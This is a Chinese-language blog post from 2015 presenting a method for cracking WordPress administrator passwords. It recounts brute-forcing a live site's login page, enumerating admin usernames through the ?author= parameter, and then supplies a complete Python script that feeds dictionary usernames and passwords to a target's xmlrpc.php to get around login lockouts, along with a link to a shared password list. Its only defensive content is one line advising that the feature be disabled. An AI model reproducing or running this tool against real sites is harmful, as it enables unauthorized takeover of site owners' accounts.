最新破解Wordpress後臺密碼的方法

weizongwei5發表於2015-11-14

首先要說一下,一個正常點的網站,你用暴力破解登入的話,都是幾乎無法實現的,舉個例子。

舉個暴力破解QQ的例子:

  • 1.你暴力破解QQ密碼,輸入錯誤幾次之後驗證碼也出來了。驗證碼出來了就無法使用暴力破解了,
  • 2.驗證碼的問題比較好搞,找個識圖的程式碼,識別圖片中的二維碼,即可。繼續破解。
  • 3.是的 二維碼可以搞定,但是你輸入錯誤次數超過30次之後,該賬號24小時內再提交密碼都無效了。

舉個我自己親測暴力破解wordpress站點管理員密碼的例子:

我窮舉wordpress 的賬戶密碼,post到xxx.com/wp-login.php上,結果:沒幾下我就發現網站打不開了。然後,用同事們的機器,也是打不開,我以為網站掛了,結果不是,我發現用3G網可以開啟。看樣wordpress直接遮蔽了我們的ip段,一個小時後又可以訪問了。 所以我放棄了,對wp-login.php的破解。

只能另闢蹊徑。


1.wordpress自帶的 author漏洞

wooyun曾經爆出的WordPress的一個bug,就是再主網址尾部追加/?author=index之後可以爆出user表中的id==index的賬戶名。但是烏雲平臺看到的是在html裡一個隱藏的標籤裡暴露的,而我拿我朋友的網站測試的時候,卻不是隱藏的標籤。

看我的測試結果:

比如: http://xxx.com/?author?=1
檢視網頁原始碼:

<html xmlns="http://www.w3.org/1999/xhtml">
<head>


    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>admin | 此處隱藏網站名</title>
    <!--  重點在這裡 -->

比如: http://xxx.com/?author?=2
檢視網頁原始碼:

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="generator" content="WordPress 3.8.3" />
<meta name="robots" content="noodp,noydir" />

    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">


    <title>Nothing found for  ?author=2</title>
    <!--  重點在這裡 -->

ok,此處可以看出該站只有一個管理員 使用者名稱是admin
那麼好了,我們暴力破解本來還需要猜使用者名稱的,現在使用者名稱不用猜了,只要猜密碼,我們就省了很多事。

2.wordpress自帶的 XMLRPC漏洞

wordpress官網對這個功能進行了解釋: 點選跳轉到wordpress官網

如下是我摘抄的一段:

wp.getUsersBlogs

檢索使用者的部落格。

引數

使用者名稱的字串
字串密碼

返回值

  • 陣列
    • 結構
      • 布林型 isAdmin
      • 字串 url
      • 文章的 blogid 的字串
      • 字串 blogName
      • 字串 xmlrpc

wp.getTags

得到所有標記的列表。



我就不在往下寫了,下面的也是呼叫這個介面傳遞使用者名稱,密碼,傳遞其他引數用於獲得一些資料的一些表,比如文章列表之類的。

從wordpress官網看其他的一些功能,可以看出這個xmlrpc應該是開放給客戶端使用的。

那麼我們在wordpress主站地址後追加:/xmlrpc.php即可得到如下截圖:


XML-RPC server accepts POST requests only.
是告訴我們需要用post方式提交。

從這個檔名xmlrpc的命名來看,這裡應該是提交xml格式的才對。
我們來試下模擬post提交,來驗證我們的猜想:

上圖:

這裡報了一個錯誤,說轉換出錯,很顯然post提交不了。跟wordpress官網說的一樣,這個介面需要提交xml格式的。

格式 的例子如下:

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
   <param><value>username</value></param>
   <param><value>password</value></param>
  </params>
</methodCall>

我試著在chrome裡提交一下:

這個介面已經走通了,為了測試這個介面如果出錯不會被伺服器拉黑ip,我重新整理了20次,確定這個介面可用。終於放心了唉。

下面就是寫個python程式,進行迴圈post xml進行驗證了。


#  佛祖保留程式碼無bug 
'''
漏洞詳情請檢視:http://www.freebuf.com/articles/web/38861.html
'''
import urllib2
import re

def ReadMe():
    print """說明:
    1.在本檔案同目錄下新建usernames.txt、passwords.txt分別存入使用者名稱、密碼字典
    2.按提示輸入WordPress站點(例如:www.freebuf.com)
    """

def GetUrl():
    urlinput=raw_input("請輸入wordpress站點:")
    requrl="http://"+re.match(r"(http://)?(.*)",urlinput).expand('\g<2>')+"/xmlrpc.php"
    print "嘗試利用:"+requrl
    return requrl

def Aviable(requrl):

    try:
        result = urllib2.urlopen(url=requrl).read()
    except urllib2.URLError:
        print "抱歉,此站點漏洞不可用"
        return False
    else :
        if result == "XML-RPC server accepts POST requests only.":
            print "\n該站點存在此漏洞,嘗試破解中:"
            return True
        else :
            print "抱歉,此站點漏洞不可用"
            print "網頁返回:\n    "+result
            return False

def Exploit():
    requrl=GetUrl()
    if Aviable(requrl) :
    #usernames.txt 檔案中其實只有一個使用者名稱,因為我們通過author漏洞獲取到了管理的使用者名稱。
        f_username=open("usernames.txt","r")
        f_password=open("passwords.txt","r")
        num=0
        Flag=0
        for name in f_username:
            if Flag == 1:
                break
            for key in f_password:
                if num % 10 == 0:
                    print "已嘗試"+str(num)+"個"
                if len(key)<8:
                    continue #wordpress管理員密碼長度最短是8  所以這裡小於8的跳過
                reqdata='<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs\
                        </methodName><params><param><value>'+ name + \
                        '</value></param><param><value>'+ key  +\
                        '</value></param></params></methodCall>'
                req = urllib2.Request(url=requrl,data=reqdata)
                result = urllib2.urlopen(req).read()
                num=num+1
                if "isAdmin" in result :
                    print "Got it !"
                    print "username :"+name+"password :"+key
                    Flag = 1
                    break

                elif "faultString" and "403" in result :
                    continue 

                else :
                    print "Unknown error"
        print "抱歉,在此字典中並未找到正確的密碼"

if __name__ == '__main__' :
    ReadMe()
    Exploit()

執行效果如下:

wordpress不知道現在已經到了什麼版本了,但是目前WordPress 3.8.3,這個漏洞還是存在的,避免這個漏洞方式很簡單,關閉這個功能即可。

PS:
補充點:有些人覺得自己的字典不夠全,我這裡共享一個別人的密碼集合:
點選跳轉

本文中技術點僅僅用於學習交流,不可用於非法手段。

相關文章